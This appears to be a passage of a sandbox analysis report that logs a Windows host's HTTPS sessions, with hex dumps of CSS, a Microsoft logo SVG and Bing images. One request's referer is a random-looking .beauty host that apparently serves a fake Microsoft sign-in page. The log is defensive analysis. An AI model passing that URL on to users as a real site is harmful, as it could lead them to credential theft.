2024-12-18 20:11:10 UTC	7044	IN	Data Raw: 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 62 63 64 34 21 69 6d 70 6f 72 74 61 6e 74 7d 0a 2e 77 33 2d 62 6c 75 65 2d 67 72 65 79 2c 2e 77 33 2d 68 6f 76 65 72 2d 62 6c 75 65 2d 67 72 65 79 3a 68 6f 76 65 72 2c 2e 77 33 2d 62 6c 75 65 2d 67 72 61 79 2c 2e 77 33 2d 68 6f 76 65 72 2d 62 6c 75 65 2d 67 72 61 79 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 36 30 37 64 38 62 21 69 6d 70 6f 72 74 61 6e 74 7d 0a 2e 77 33 2d 67 72 65 65 6e 2c 2e 77 33 2d 68 6f 76 65 72 2d 67 72 65 65 6e 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 Data Ascii: !important;background-color:#00bcd4!important}.w3-blue-grey,.w3-hover-blue-grey:hover,.w3-blue-gray,.w3-hover-blue-gray:hover{color:#fff!important;background-color:#607d8b!important}.w3-green,.w3-hover-green:hover{color:#fff!important;background-color:#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49755	152.199.21.175	443	2760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:11:09 UTC	675	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://5bsrfkftdtnvful9nm.ssaa.beauty:8443/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 20:11:09 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 23293792 Cache-Control: public, max-age=31536000 Content-MD5: nzaLxFgP7ZB3dfMcaybWzw== Content-Type: image/svg+xml Date: Wed, 18 Dec 2024 20:11:09 GMT Etag: 0x8DB5C3F495F4B8C Last-Modified: Wed, 24 May 2023 10:11:48 GMT Server: ECAcc (lhc/7892) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 002cd9d5-201e-00e1-69ad-7d6453000000 x-ms-version: 2009-09-19 Content-Length: 3651 Connection: close
2024-12-18 20:11:09 UTC	3651	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49763	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:11:10 UTC	375	OUT	GET /th?id=OADD2.10239339388129_199HS4001G3EH5S78&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-18 20:11:11 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 940465 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: A4F5C4B3CC294D37889A7483894EF304 Ref B: EWR30EDGE1411 Ref C: 2024-12-18T20:11:11Z Date: Wed, 18 Dec 2024 20:11:10 GMT Connection: close
2024-12-18 20:11:11 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1b e8 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 33 2e 35 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 32 3a 31 30 3a 30 33 20 31 32 3a 32 33 3a 35 39 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 23.5 (Windows)2022:10:03 12:23:598
2024-12-18 20:11:11 UTC	16384	IN	Data Raw: f5 6b eb 5b bd 56 fa 38 75 3d 41 15 36 4f 7b 12 24 91 2a 6e ff 00 7b 75 62 e9 56 77 3f 66 fe cc bb 8a df fe 25 fb 66 47 f9 a1 f3 13 a3 44 db 4f cd fe fd 6d 68 9a 94 37 9a bd 8c bf 61 f3 21 f3 19 27 83 fe 5b 46 9f df f5 da 2b c8 a3 5f 11 4d ca 4d dd fa 5b 4d cd 23 2e 53 8d f8 9d a6 eb 1a 3d b2 5b c5 e6 43 77 35 ab 5c c1 04 7f 3a 49 6e df 77 e6 fe ef a5 60 fc 07 d0 7f b4 b5 2b e9 75 df b4 43 6f 6b 6b 2e f4 83 7f ef 25 64 fd d8 fc 5b e5 c5 7b 45 cc 96 17 1e 2d fb 15 c6 af 1c 37 1a a6 9d f6 6b 57 92 4d f0 da 27 f0 31 dd f7 98 74 dd fe df b5 61 f8 63 5e b0 b1 8e 7d 1d 34 c8 de fa c9 db c8 f3 23 7f 3b 7a fc b1 3a ed e3 86 dd cf f7 7d eb db a3 98 7b 5a 2f 99 58 d6 a4 63 2f 78 f3 fd 2b 4b b0 d0 64 9f 55 b8 b6 bd b2 9b 4f ba 68 6f a0 9f fe 59 ca bf c3 5c ef 8c 35 Data Ascii: k[V8u=A6O{$*n{ubVw?f%fGDOmh7a!'[F+_MM[M#.S=[Cw5\:Inw`+uCokk.%d[{E-7kWM'1tac^}4#;z:}{Z/Xc/x+KdUOhoY\5
2024-12-18 20:11:11 UTC	16384	IN	Data Raw: a9 5a e8 9f db 17 77 d1 a4 3b f6 58 cf ff 00 2d ae 1f 66 ff 00 dd a7 5f 25 7f bd 8a c6 38 28 d4 f7 a1 3e 5d 7a 1a 73 73 5b 98 bd e2 af 0e e8 37 1e 1f 8e e3 4c be f2 52 cb 6a 4f 04 ff 00 eb b7 c9 d5 bf 0e 83 1f 53 55 7c 3c d6 1a 0f 87 ee a6 fb 74 77 57 17 5b 91 3c b9 37 bd 86 df bb 23 2f fb df f7 d2 d5 ad b7 fa 7e 9b 23 6a 1f b9 7b 58 3c e8 2c 7c b4 79 a4 f3 7f e5 a2 7f be bf c5 fd da e4 fe c6 9a a7 87 ff 00 d0 ad a4 f3 be 6b 97 79 2d dd fe d0 9f ef 71 d3 d2 ba 3e 1a 7c 93 95 cc 65 3f 7b dd 47 59 a9 2e a5 75 73 05 dd c4 b1 f9 2f b7 fe f8 ff 00 67 6f f0 ee af 40 d1 2c 5e ea 4b 48 a5 b9 8e 6b bf 97 c8 ba b4 fd cb f9 5b 3e ef c9 fe b3 15 e5 ba 26 9b 35 d6 b5 6b 16 9f 7d 24 c9 e4 2f cf 24 9b d2 3d a9 d7 fd 9f 96 bb 4f 04 eb 1a 6c d7 36 b6 8f 73 f6 54 f3 fe 47 Data Ascii: Zw;X-f_%8(>]zss[7LRjOSU\|<twW[<7#/~#j{X<,\|yky-q>\|e?{GY.us/go@,^KHk[>&5k}$/$=Ol6sTG
2024-12-18 20:11:11 UTC	16384	IN	Data Raw: d7 16 3f 6b 96 59 23 f9 37 c0 9e 66 c7 93 6d 47 79 e2 47 92 c6 3b 5d 3e 2b 28 5e d5 15 3f d5 a7 fd f4 28 97 b3 ad f0 44 29 d4 3a e4 d7 26 d4 2d a7 fb 6f cf 0a 3e f4 fd db bf 97 eb b4 d4 df f0 91 24 71 fd 92 d2 db e4 f9 51 fc bf f9 69 b7 ee 57 1f 6d a8 42 be 63 db cb 71 b2 18 3e ff 00 99 f3 c8 d5 73 c3 10 c3 79 24 77 77 b2 c9 65 6e 9f 7d e3 ff 00 96 8e bf c3 9a ca 54 29 c6 32 6f a1 a7 b4 91 bd e3 0d 07 47 d5 3c 37 e5 45 15 95 96 a7 0a 7c 89 f7 12 4d cf bd b7 7f 7b e6 ae 37 e1 a6 9f e5 df 5d 69 fa ad 8f cf 0e e9 a7 82 48 ff 00 d5 ff 00 b9 f5 ae 9b 55 8d 21 be 8e ee ca e6 4d 42 de eb ee 4f 24 7b ff 00 e0 35 bd 34 7a 3c 71 c7 7b 71 e6 42 9b d5 ff 00 71 27 cf bd 7e ef cf fd df f6 2b 3f 6d 28 d1 e4 d5 a6 57 bb 2d cc 3d 07 fe 12 7d 4a fb ed 11 4b 6f 65 63 32 7f Data Ascii: ?kY#7fmGyG;]>+(^?(D):&-o>$qQiWmBcq>sy$wwen}T)2oG<7E\|M{7]iHU!MBO${54z<q{qBq'~+?m(W-=}JKoec2
2024-12-18 20:11:11 UTC	16384	IN	Data Raw: e2 b8 cd 66 79 27 d7 b5 49 62 97 62 5c 3e e7 7f e0 79 7f da 07 ee ee a9 bc 03 35 e4 1a b3 e9 97 bf 69 b5 d4 21 7f 26 37 93 77 fa 3e df bc ad 1d 41 e3 3d 2e e7 4d f1 66 dd 43 cb 87 7b fc ef 1c 6f fb cf 4f 91 ab 28 c6 31 94 97 50 fb 26 a6 95 a9 5e 5b c7 1d d2 5c c8 8f e4 2f 9e 9e 67 c9 b3 f8 b2 bd 2b 63 56 d6 a6 bc b5 82 cb fb 32 de 17 82 7d f3 cf 1c 7b 1e 44 fb c3 7f f7 bd ab 93 d4 a1 b3 b7 be 8e e1 e5 f3 21 74 ff 00 9e 7b 3c bd bf c3 b7 fb b5 6b 4d b7 b0 b8 f2 ee 35 0b e8 df ce f9 d2 09 3e fc 7f 4f f6 6a a5 cb a3 65 0d f1 cd e6 a5 34 93 cb f6 6b 7b 5b 7f 97 f7 f0 7f cb 4f ee ff 00 c0 bd 6b 9f d2 e4 78 ee b7 c5 f7 53 6b a6 cf 92 ba 6d 4b 43 86 48 f5 27 b2 f9 21 b2 4d fb 3c cf f5 7f ed f3 5c 8d 99 2d 71 b6 59 23 8d 93 fe 7a 49 5b d3 e5 95 32 42 36 b3 87 50 Data Ascii: fy'Ibb\>y5i!&7w>A=.MfC{oO(1P&^[\/g+cV2}{D!t{<kM5>Oje4k{[OkxSkmKCH'!M<\-qY#zI[2B6P
2024-12-18 20:11:11 UTC	16384	IN	Data Raw: e2 4f d9 e3 4a 74 b9 92 6d 5b 45 8e 29 a0 9e 4f bf 1d c4 6f bb fe f9 f9 6b d8 7c 69 a8 5a 6a de 1f b5 f1 62 c3 bf 4b d7 2d 55 2f 53 fe 7d 27 e8 6b d8 eb cc 72 9e 8f e0 7d 63 cc d0 e0 96 59 77 bc 3f 24 ff 00 f4 d3 d1 ab a7 bc 86 de f6 c5 e0 94 6f 8a 68 f6 9f 75 6a f1 2f 81 7a c7 9d 24 fe 1f bb 97 7b c1 f2 40 ff 00 f3 d1 2b d3 7c 2b aa 25 ae a4 fa 1d c4 bf 30 ff 00 51 ff 00 c4 d6 15 a9 fd a4 6d 19 7d 93 e0 8f f8 28 9f c3 2f ec 2f 1b 3e b2 87 64 b7 48 bf bc f2 ff 00 e3 e3 fd bf fa e8 3b ff 00 7a be 73 9b 4f bc 9a e6 0b bf b4 c8 93 3b fc ef f7 fc b7 54 e7 f3 af d5 1f da db e1 95 87 c4 8f 87 12 5a 5c c5 b9 ed 8e fd e9 f7 c2 fa af b8 af 89 3c 37 a7 a7 87 ef b5 5f 07 f8 8f ec f6 be 4f c8 f7 50 47 be e6 48 bf e7 a0 1f c7 f2 fc d5 cd 8a a9 28 d3 55 63 e8 cd a9 c7 Data Ascii: OJtm[E)Ook\|iZjbK-U/S}'kr}cYw?$ohuj/z${@+\|+%0Qm}(//>dH;zsO;TZ\<7_OPGH(Uc
2024-12-18 20:11:11 UTC	16384	IN	Data Raw: 12 c7 fd 9f aa 3f d8 ef 9f ee 24 6f bf e5 9f 77 f3 fe f2 d7 b4 7e d0 9f 0f ff 00 e1 68 6a 53 ea 5a 3d f4 7e 56 9f 1a f9 77 b2 48 df 67 8d 1d 77 fc b1 e3 f8 ba ef ad ab 5e 96 33 9e 7a 45 8a 8f 35 5c 3f 22 f8 91 f3 1f 87 ad 5d 7c 41 3d dd 95 cc 68 f3 6e 4d 93 c9 b1 37 b7 f1 56 85 e5 d4 2b a6 e9 51 45 2f 93 b3 6c c8 91 fd f8 ee 15 f6 bf fc 07 72 64 d4 37 fa 4d 9d be 9b a6 f9 52 ff 00 a5 a2 32 5f 5a ff 00 cf 37 df f7 91 bf ba eb cd 63 ea b3 5c ad cc f6 50 f9 7f 73 ce 83 cb f9 fe ab 5e a4 7d e3 ce e6 e5 f7 4e e3 c0 da d6 a5 a4 eb 73 dd e9 f2 dc 7d 87 ef ea 9e 47 c8 fb 24 c8 6f bd c6 e5 6e 9f de a7 69 52 43 67 a4 ea 5a ac ba 64 93 7f ad 4b e9 d2 3f 93 64 9f 72 7f 56 6f ef 57 37 73 e2 cf 33 4d fb 3d bc 5f 65 87 54 81 5f 51 b5 8f fd 97 dc f0 6e 6f e1 dc 8a d5 a9 Data Ascii: ?$ow~hjSZ=~VwHgw^3zE5\?"]\|A=hnM7V+QE/lrd7MR2_Z7c\Ps^}Ns}G$oniRCgZdK?drVoW7s3M=_eT_Qno
2024-12-18 20:11:11 UTC	16067	IN	Data Raw: 66 9e f3 ec 9f ed 77 3b d3 64 7f 73 08 bc a2 fa 60 57 41 e0 9d 36 e7 49 b6 9f c2 97 7a 65 95 d7 92 ec f6 b7 50 47 fe be 5f f9 e8 19 b9 da 7e 4a f2 f9 b9 71 12 ad 4a 7e f2 67 1c 69 ca a4 bc 8f 2f b9 ba f1 57 85 f4 d8 e5 b8 b6 b7 4b 8f 3d ad 9e 78 e4 4d f2 79 6b bf ee a7 0f fe c7 e7 5b d6 1f 13 b5 ef f8 4d 6d 74 f4 b5 8f cd 86 1f b6 5d 24 91 f9 d7 7e 6b 37 f0 e7 1f 32 74 3b eb b2 f8 83 a6 de 36 8b 24 ba 15 f7 d8 ae 3e db 3f da a0 9e 3f dc db bf c9 b2 3f 97 fd 5b 6e e8 f4 c8 7c 1f e2 9b 3d 12 7b df 14 78 cf 4e d3 11 e0 df 3c 30 46 97 6f f6 85 97 cc 6d d2 30 e9 20 f9 4a fd ed d5 58 ac e3 0d 28 5a ac 63 cd b7 5b df d1 26 63 ec 79 65 63 03 c5 9e 16 d4 75 3d 13 47 d7 34 78 ec b4 9d 2a e6 d7 7c f0 cf 6e cb 7d f7 cf cd 2e ee 15 8b 36 e5 3f dd a9 35 09 b5 5f 0b f8 Data Ascii: fw;ds`WA6IzePG_~JqJ~gi/WK=xMyk[Mmt]$~k72t;6$>???[n\|={xN<0Fom0 JX(Zc[&cyecu=G4x*\|n}.6?5_
2024-12-18 20:11:11 UTC	16384	IN	Data Raw: 79 e3 79 a1 de c8 17 cb 65 3f 79 55 ff 00 da e3 e7 34 ef 09 69 ba 96 9f 72 fa 9c ba 65 bc 37 70 c0 cf 24 11 c6 8f e6 45 f3 af da 63 1f f3 cf 77 fc 0a b9 1d 13 52 d4 b5 6d 4b fb 56 2b 9b 7b 2f ec 2b 26 7b 57 9e 4d 89 26 d7 ff 00 54 9d 77 b6 e6 ff 00 1a dc b0 d1 f5 2b eb 1f b4 69 97 d2 26 a7 7a 8a 93 f9 77 0e 9e 5e df 9b ca 1f d2 bd ca 91 e4 8f 25 ec ad ea 72 44 e9 bc 55 7d 0e b1 e1 78 2d f5 bb 9f 25 d2 eb f7 9e 5d bf fc 7b fc 98 db b9 bf 88 ae d5 eb b7 f1 ae 67 47 f0 de b1 e2 2d 37 52 8b 4a ba 8e 1f b2 cf f3 a7 db 51 df fd f2 3a ff 00 c0 aa e6 bd f1 32 db fb 26 d5 2e f4 8b 79 ae 2d 6f a0 49 12 49 1f f7 9b 7e 49 5a 2d bf 71 bd 73 d6 b5 3f b5 3c 37 0d cf f6 9d 94 56 f6 b3 6a 08 b0 a4 1f f5 cf ee b2 27 f9 cd 70 cb eb 14 29 d9 42 ce fe a6 fe ec 88 fe 0e 78 99 Data Ascii: yye?yU4ire7p$EcwRmKV+{/+&{WM&Tw+i&zw^%rDU}x-%]{gG-7RJQ:2&.y-oII~IZ-qs?<7Vj'p)Bx
2024-12-18 20:11:11 UTC	16384	IN	Data Raw: f9 96 eb de 55 fe 0f 6e 3e 6a e1 5f 4b 49 bc 75 3d be 95 14 73 5b cd 3b 3c 0f 1c 6d 0a 5c 27 7d bb ff 00 87 75 7a 34 f1 31 a9 29 ad ac 8e 53 5b c7 37 0f 7d a4 c0 f7 7e 21 8e 17 b5 76 d8 9f 3b fd a2 5f f7 7f 8e b9 58 64 f1 0c d6 d0 5e bd b4 7f 73 ef c7 b3 7c 7b 7f d9 fe ed 6d 78 c3 4b bf 8f c3 73 dc 4b 63 6e 8d 6b b6 67 82 79 36 4d bf 7e d2 d1 ff 00 b2 2b 06 fe 19 bf d1 53 ec d2 25 c4 c9 fb ff 00 2e e3 e7 93 fd df f6 6a 69 ca 32 8f bb 67 a9 8d 4f 78 d4 86 6b 39 a3 ba fb 5f 98 ef 32 7f c0 f7 ec fe 2f e8 6b 9b b0 67 86 49 1a d2 e6 3f 27 f8 3f 8e 68 ff 00 cf ad 49 32 dc ae 9b 3e ff 00 32 67 b5 db b2 79 24 ff 00 c7 6a 8c 30 dc ac 7f 68 f2 a3 b5 7f e3 8e b6 a3 4f 96 32 f7 b7 33 d4 d8 fb 55 e7 da 60 77 96 37 b8 47 fd c3 fd cf fc 7e ae 5f f8 81 2e 35 6f b1 5c 49 Data Ascii: Un>j_KIu=s[;<m\'}uz41)S[7}~!v;_Xd^s\|{mxKsKcnkgy6M~+S%.ji2gOxk9_2/kgI?'?hI2>2gy$j0hO23U`w7G~_.5o\I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49766	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:11:11 UTC	346	OUT	GET /th?id=OADD2.10239339388130_1LUEK7XGBN2FMZI35&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-18 20:11:12 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 838075 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 92C1198B652B4A2681CC2242158A1918 Ref B: EWR30EDGE0708 Ref C: 2024-12-18T20:11:11Z Date: Wed, 18 Dec 2024 20:11:11 GMT Connection: close
2024-12-18 20:11:12 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 33 2e 35 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 32 3a 31 30 3a 30 33 20 31 32 3a 32 34 3a 32 34 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 23.5 (Windows)2022:10:03 12:24:248C
2024-12-18 20:11:12 UTC	16384	IN	Data Raw: 48 fb 78 df a5 ef eb d8 ec a1 53 d8 ca 57 3b cd 57 5a 4d 3e e6 eb c0 5a ee 91 fd af a0 a3 f9 cf 3c 72 26 fb 79 5b fe 5a a9 ff 00 77 ad 71 36 3e 16 ff 00 84 7b c6 da a6 8e b1 fd aa 18 e3 f3 a0 ff 00 a6 91 7f 7e a6 f0 5e ad 79 37 c4 4b 5d 6f 50 b6 b8 78 75 4b af f4 e4 f2 fe 4b 88 a4 f9 59 7f dd db 55 fe 14 33 e9 df 15 35 4d 1a f3 cc 99 2d 6d 2e ec ed 83 fc fe 5a ab 6e e3 f2 fd 6b aa 32 97 2b f4 2a 35 63 52 51 e6 ee 36 e6 e2 e7 45 fb 0b db cb fb 9b 29 d6 e6 0f 2f fb ad fe b3 15 b5 ad ea 1a 54 de 20 be 58 a5 8d fe d5 f3 c1 ff 00 4f 1f 25 61 f8 e6 f5 ff 00 b3 6d f4 f8 3f e3 f7 4c ba 6b 39 bf b9 b1 be 68 d9 7f 0a cb b3 8f c9 be 4b d7 f2 f6 c2 9b 1f cc fe fd 4a 8c 79 79 9e e5 d4 ad ec e3 28 2d 62 cc 4d 2a ce 49 7c 55 b2 e2 da 44 f2 b7 7e ed d2 bb bf 09 78 7f 4a Data Ascii: HxSW;WZM>Z<r&y[Zwq6>{~^y7K]oPxuKKYU35M-m.Znk2+5cRQ6E)/T XO%am?Lk9hKJyy(-bMI\|UD~xJ
2024-12-18 20:11:12 UTC	16384	IN	Data Raw: b7 87 fc 5b 6f 2f db 66 86 fa 2b cb a4 82 e1 e1 79 13 ef 35 be ee a8 c5 7b d7 13 6d bd ae 6d 5f ef a4 df 3a 3d 68 78 9f ed 31 ff 00 66 ea af 14 89 34 3e 53 a3 ff 00 ba fb a3 ab 32 2f 7c 78 f1 c5 ff 00 c4 ef 8b da af 8d 6e ec 63 d3 e6 ba db 0a 5a c7 1e cf dd 47 f2 c7 bb fd ad bd 6a 39 bc 3b 0f 86 63 d3 b5 0d 33 5c fe d0 86 ea 05 f3 df cb 78 5e d2 eb ef 49 6e ea de 8a dc 3f dd 6a f5 0f db 4b c6 de 1e f1 55 b7 85 75 5d 0b fb 05 35 69 ad 6e 66 d6 d2 c6 44 7f 2e 57 48 bf bb fe ee 7f d9 6a f1 5f 0d eb 57 93 5b 5d a7 d8 6d ee ad 2e bc 84 9e 7b bf bf 1a 2b e7 f7 5f dd dd f7 4f fb 34 be c8 1e 85 e1 bf 1c 59 dc 7c 37 7f 0d 7f a3 bc de 1f 92 f2 e6 d5 fe e7 fa 3d cf 97 fb 92 ff 00 dd f3 57 7e 3d 6b ea ef f8 27 7f 8b fc 33 aa 7e cd b7 d6 16 f7 3e 4e ad 6b aa 5c cd ab Data Ascii: [o/f+y5{mm_:=hx1f4>S2/\|xncZGj9;c3\x^In?jKUu]5infD.WHj_W[]m.{+_O4Y\|7=W~=k'3~>Nk\
2024-12-18 20:11:12 UTC	16384	IN	Data Raw: f6 6b 6b c1 f6 b7 37 1a 95 ad 8d bc b1 a4 ce 9b 3f 7f ff 00 2c df f8 bf 2a ea c4 46 2e 3a f4 2a 5c a6 6e bd 71 bb c3 f6 37 7e 6d cc d0 c3 b9 2e ad 67 f9 12 07 fe f4 7f de cd 5e f0 ad ac 33 47 f6 bb bb 9b 24 b7 ba 46 47 f3 3f f6 64 ac bf 10 43 6d a9 47 7d 6f 71 ab c7 0d d6 f5 f2 11 f6 24 33 fc fc fc ff 00 c1 57 be 17 ea d6 cd ab 5a e9 57 12 db e9 ed 36 db 39 ee a4 8f ce f9 1b e5 69 14 af f7 57 d3 ad 12 f8 3d ce 8c 29 c7 97 62 1f 0c e8 7a 76 9b 74 9a 81 fd f6 9e e9 be d6 4b b8 f6 25 c2 ef ae ab c1 3a 4d e6 b1 e3 f9 f4 4d 2b 4c d2 a1 f3 ad 5a 67 8e 78 ff 00 d1 a3 f2 fe 7f 3f 77 ba d7 3f e3 9d 63 c9 f1 24 fe 1f d2 b5 cf ed dd 1b 45 4f b1 e9 77 df 3a 43 24 5b f7 6f 54 60 3f ef 9a d4 f0 ad d4 3a 6c 70 6a 1f 6a b8 f3 93 e7 49 e3 fb fb 3f f8 91 4a 55 aa 5b 5d 2e Data Ascii: kk7?,F.:\nq7~m.g^3G$FG?dCmG}oq$3WZW69iW=)bzvtK%:MM+LZgx?w?c$EOw:C$[oT`?:lpjjI?JU[].
2024-12-18 20:11:12 UTC	16384	IN	Data Raw: cb 74 7f e2 af 25 b3 d4 3f b2 7c bf ec ff 00 b4 3a 7e f6 18 e0 92 46 47 b7 dd fc 5f 2d 6d 46 a4 a7 cd d8 ce 32 e6 96 c7 b8 5e 78 27 47 d4 3e 12 d8 f8 5f 4c b5 8f 50 f1 0c 37 51 5c d8 eb 76 3b e6 86 ed e4 fb db a4 c6 f8 99 57 87 89 c7 c8 c9 9a e4 fe 02 f8 5f 58 f1 17 89 3c 46 fa be 93 24 3b 2c 6f 2d ad 67 78 ff 00 d7 dd 27 cf 88 e4 fe 17 5d 9b f7 56 a4 3a c7 88 74 df 86 76 ba 86 b1 2e b5 a1 43 a5 dd 35 cd 8d f4 7b d1 2e 2e b6 26 ff 00 2a 45 fb ec 7e 5d c2 b2 75 8f 1b 5b 78 93 c1 b6 36 fa 7d ce a3 6b a8 3e db cd 6d e0 93 67 db ee b7 ed 4d a7 fb 8a bc f1 5c d2 8c b9 be 67 61 27 c4 0d 4b c4 ff 00 13 3c 1b 